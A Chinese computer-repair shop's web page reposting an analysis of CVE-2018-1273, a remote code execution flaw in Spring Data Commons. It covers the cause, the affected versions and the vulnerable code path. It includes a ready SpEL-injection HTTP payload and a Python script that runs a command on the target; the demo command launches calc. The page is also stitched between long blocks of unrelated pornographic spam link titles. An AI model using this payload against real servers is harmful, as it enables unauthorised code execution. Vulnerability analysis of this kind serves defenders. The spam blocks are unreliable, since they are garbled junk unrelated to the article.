国产精品久av福利在线观看_亚洲一区国产精品_亚洲黄色一区二区三区_欧美成人xxxx_国产精品www_xxxxx欧美_国产精品久久婷婷六月丁香_国产特级毛片

錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù),錦州廣廈維修電腦,公司IT外包服務(wù)
topFlag1 設(shè)為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務(wù)項目 服務(wù)報價 維修流程 IT外包服務(wù) 服務(wù)器維護(hù) 技術(shù)文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù)技術(shù)文章
Spring-data-commons(CVE-2018-1273)漏洞分析

作者: 佚名  日期:2018-06-01 21:01:44   來源: 本站整理

 CVE-2018-1273 是 Spring-data-commons近期爆出的一個可遠(yuǎn)程執(zhí)行代碼的漏洞,為了了解更多細(xì)節(jié),本文將從漏洞的成因,漏洞的判定以及漏洞的利用三個方面來進(jìn)行詳細(xì)說明。
漏洞的成因
當(dāng)用戶在項目中利用了Spring-data的相關(guān)web特性對用戶的輸入?yún)?shù)進(jìn)行自動匹配的時候,會將用戶提交的form表單的key值作為Spel的執(zhí)行內(nèi)容,而這一步就是本次漏洞的爆發(fā)點。
漏洞的判定
確認(rèn)目標(biāo)項目中含有Spring-data-commons包并且版本范圍如下
Spring Data Commons 1.13 to 1.13.10
Spring Data Commons 2.0 to 2.0.5
查看相關(guān)特性是否已經(jīng)開啟
1.@EnableSpringDataWebSupport 被顯示聲明
2.@EnableSpringDataWebSupport 沒有顯示聲明,但采用了spring-boot框架的自動掃描特性 當(dāng)采用Spring-boot的自動掃描特性的時候,在啟動時會自動加載 SpringDataWebConfiguration類效果與上述相同
3.在非注解聲明項目中,如果有如下聲明,也視為開啟了相關(guān)的特性
  class="org.springframework.data.web.config.SpringDataWebConfiguration" />
檢查帶@RequestMapping的接口,方法的參數(shù)為一個自定義的接口(Interface)
滿足如上條件的靶子代碼如下
  @SpringBootApplication
  public class App {
      public static void main(String[] args) {
          SpringApplication.run(App.class);
      }
      @Controller
      public class TestController {
          @RequestMapping("test")
          public void CVEController(TestForm testForm){
              System.out.println(testForm.getName());
          }
      }
      interface TestForm {
          String getName();
      }
  }
漏洞的利用
根據(jù)上述判定出來的漏洞點,我們可以構(gòu)造如下攻擊代碼
1.構(gòu)建一個Http的Post請求2.利用form表單提交的方式來提交我們的key value3.在key的名稱中包含此次攻擊代碼4.提交的key為上文的 getName() 方法的 name5.在name后面補(bǔ)上一段Spel支持的代碼片段,key將變成如 name[T(java.lang.Runtime).getRuntime().exec("calc")]
最終playload如下
POST /test HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-cache
name%5BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%5D=v
用python寫的簡單腳本如下
import http.client, urllib.parse
command = "calc.exe"
key = 'name[T(java.lang.Runtime).getRuntime().exec("%s")]' % command
params = urllib.parse.urlencode({key: 'v'})
headers = {"Content-type": "application/x-www-form-urlencoded"}
conn = http.client.HTTPConnection(host="localhost",port=8080)
conn.request("POST", "/test", params, headers)
conn.close()
總而言之當(dāng)滿足漏洞條件時,只需要發(fā)送一個特定的key就可以了
Spring-data-commons漏洞被執(zhí)行的流程
本次漏洞的成因,主要在于Spring在自動解析用戶的參數(shù)的時候采用了 SpelExpressionParser 來解析propertyName
MapDataBinder.java 169行
  Expression expression = PARSER.parseExpression(propertyName);
  PropertyPath leafProperty = getPropertyPath(propertyName).getLeafProperty();
  TypeInformation owningType = leafProperty.getOwningType();
  TypeInformation propertyType = owningType.getProperty(leafProperty.getSegment());
  propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;
  if (conversionRequired(value, propertyType.getType())) {
    PropertyDescriptor descriptor = BeanUtils
        .getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());
    MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
    TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);
    value = conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
  }
  expression.setValue(context, value);
那么這個MapMapDataBinder是怎么被調(diào)用起來的呢,我們簡要地說一下 SpringMVC在解析參數(shù)這個部分
SpringDataWebConfiguration 類的特性被啟用的時候,會將 ProxyingHandlerMethodArgumentResolver 注冊到容器中去
當(dāng)SpringMVC得到一個請求的時候,會遍歷容器中注冊的 HandlerMethodArgumentResolver 調(diào)用他們的supportsParameter方法。由于我們的參數(shù)是一個Interface(接口),那么 ProxyingHandlerMethodArgumentResolver 就會告訴調(diào)用方,它支持這個參數(shù)的解析即 supportsParameter 會返回true,但在實際中還會有多個判斷比如該接口不能是java包下的,也不能是org.springframework包下的
ProxyingHandlerMethodArgumentResolver在拿到參數(shù)的時候會創(chuàng)建一個MapDataBinder來解析參數(shù)MapDataBinder.bind()方法,會連帶進(jìn)行doBind操作,最終會調(diào)用到 setPropertyValue 方法來,最后在 expression.setValue(context, value) 的時候觸發(fā)了漏洞



熱門文章
  • 機(jī)械革命S1 PRO-02 開機(jī)不顯示 黑...
  • 聯(lián)想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機(jī)SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數(shù)和判...
  • IIS 8 開啟 GZIP壓縮來減少網(wǎng)絡(luò)請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機(jī)始終停留在開機(jī)界面...
  • 常見打印機(jī)清零步驟
  • 安裝驅(qū)動時提示不包含數(shù)字簽名的解...
  • 共享打印機(jī)需要密碼的解決方法
  • 圖解Windows 7系統(tǒng)快速共享打印機(jī)的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯(lián)系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務(wù)區(qū)域: 遼寧錦州市區(qū)
    主要業(yè)務(wù): 修電腦,電腦修理,電腦維護(hù),上門維修電腦,黑屏藍(lán)屏死機(jī)故障排除,無線上網(wǎng)設(shè)置,IT服務(wù)外包,局域網(wǎng)組建,ADSL共享上網(wǎng),路由器設(shè)置,數(shù)據(jù)恢復(fù),密碼破解,光盤刻錄制作等服務(wù)

    技術(shù)支持:微軟等
    国产字幕中文| 黑人巨大精品| 91视频在线观看免费| 一区中文字幕在线观看| 免费在线观看的av| 国产亚洲美州欧州综合国| 日韩av资源在线| 18视频免费网址在线观看| 日本韩国一区二区三区视频| www.亚洲高清| 激情视频在线观看| 欧美日本精品一区二区三区| 亚洲不卡的av| 国产精品久av福利在线观看| 午夜精品蜜臀一区二区三区免费| 日本激情视频网站| 成人写真视频| 国产精品啪视频| 在线观看成年人网站| 久久蜜桃一区二区| 亚洲一级免费在线观看| 中文资源在线网| 欧洲视频一区二区| 国产大学生自拍| 清纯唯美综合亚洲| 国产高清精品一区| 九七伦理97伦理手机| 亚洲成人tv网| 老司机福利在线观看| 欧美禁忌电影| 成人永久免费| 一级毛片免费在线| 国产欧美一区二区精品婷婷| 四虎1515hh.com| 999精品嫩草久久久久久99| 久久久久久久久久久人体| 九九热中文字幕| 91欧美一区二区| 国产精品igao网网址不卡| 高清在线一区| 欧美一区二三区| 久久精品国产一区二区三区肥胖| 久久久久久免费网| 无码人妻一区二区三区免费n鬼沢 久久久无码人妻精品无码 | 怡红院男人天堂| 久久久久久久高潮| 久久久久久久9| 看黄在线观看| 久久久欧美精品| 影音先锋2020资源| 亚洲国产成人精品视频| 永久免费看片直接| 日韩欧美1区| 色噜噜狠狠色综合网| 91caoporn在线| 一本色道久久综合狠狠躁篇的优点| 色婷婷综合视频| 国产人成亚洲第一网站在线播放| 亚洲欧美日韩色| 精品视频日韩| 视频一区视频二区视频三区高| 69久久夜色| 色诱女教师一区二区三区| 一区二区不卡久久精品| 亚洲天堂成人在线观看| 欧美色视频一区二区三区在线观看| 在线中文一区| 伊人再见免费在线观看高清版 | 综合分类小说区另类春色亚洲小说欧美 | 999在线观看| 草草视频在线一区二区| 国产精品区二区三区日本| 免费a在线观看| 在线电影av不卡网址| 欧美超强性xxxxx| 亚洲国产精品久久久久婷婷884 | 久久精品青草| 天天做天天躁天天躁| 9i看片成人免费高清| 国产精品久久久久999| 91在线电影| 国产亚洲一区精品| 国产成人羞羞电影网站在线观看| 午夜精品一区二区三区免费视频| 91精品国产高清一区二区三密臀| 国模无码大尺度一区二区三区| 肉丝美足丝袜一区二区三区四| 精品国产一区二区三区噜噜噜| 亚洲一区二区精品在线观看| 一区二区乱码| 成人精品一区二区三区电影免费 | 三上悠亚亚洲一区| 国产又爽又黄的激情精品视频| 三级做a全过程在线观看| 欧美日韩激情一区| 国产激情久久久久久熟女老人av| 国产亚洲欧美在线| 一级在线观看视频| 模特精品在线| 在线观看视频你懂得| 天天综合亚洲| 91av在线免费播放| 亚洲图区在线| 成年女人18级毛片毛片免费| 欧美精品三级在线| 视频在线观看成人| www.夜夜骑.com| 日本蜜桃在线观看视频| 亚洲bt欧美bt精品777| 精品影片在线观看的网站| 美女精品一区| 91高清在线观看| 亲爱的老师9免费观看全集电视剧| 欧美另类网站| 18深夜在线观看免费视频| 久久精品一级片| 国产探花一区二区| 青青青青在线视频| 韩国精品福利一区二区三区 | 成人video亚洲精品| 国产极品jizzhd欧美| 国产精品麻豆一区二区三区| 久久久久久国产精品久久| 最猛黑人系列在线播放| 色综合久久88| 色视频在线观看福利| 久久久噜噜噜久久中文字免| 翔田千里一区| 69av成年福利视频| 国产大片在线免费观看| 91sa在线看| 亚洲1卡2卡3卡4卡乱码精品| 国产精品久久久久久av| 黄色片免费在线观看| 成人欧美一区二区三区在线湿哒哒 | 成人午夜影视| 国产精品美女午夜av| 永久免费在线观看视频| 国产一区二区在线免费视频| 男女在线观看视频| 国产精品视频在线免费观看 | 污视频网址在线观看| 欧美精品自拍| 欧类av怡春院| 九色|91porny| 欧美日韩激情在线观看| 久久色在线观看| 中文字幕精品一区二区精| 一区二区免费在线| 天天操天天干天天干| 欧美日韩免费视频| 日本黄色女人| 中文字幕亚洲第一| 亚洲欧美一区二区三区在线播放| 日本道色综合久久影院| 激情av在线播放| 日本一区二区三区视频在线观看| 一区二区三区四区高清视频 | 天海翼在线观看视频| 伊人成人开心激情综合网| fc2人成共享视频在线观看| 欧洲精品在线视频| 黄色美女视频在线观看| 青青草原亚洲| 欧美挤奶吃奶水xxxxx| 日韩国产一级片| 国产高清大尺度一区二区不卡| 爱情电影网av一区二区| 国内精品国产三级国产a久久| 亚洲欧美一区二区激情| 26uuu国产| 午夜影院免费| 99综合在线| 亚洲国产欧美一区二区丝袜黑人| 中文字幕色一区二区| 丰满岳乱妇国产精品一区| 一本色道亚洲精品aⅴ| brazzers欧美最新版视频| 这里只有精品视频| 国产精品一区二区三区四区色| 国产成人一区二区三区免费看| 成人亚洲精品| 手机看片福利日韩| 精品综合久久88少妇激情| www.午夜av| 国产精品一区二区视频| 天堂免费在线视频| 欧美中文字幕亚洲一区二区va在线 | 高清欧美精品xxxxx| 最新日韩欧美| 国产在线不卡av| 北条麻妃国产九九精品视频| 国产露脸国语对白在线| 日韩视频一区二区三区在线播放 | 91久久国产视频| 午夜天堂影视香蕉久久| 一个人看的www免费观看视频| 欧美激情18p| 怡红院成人在线| 少妇高清精品毛片在线视频|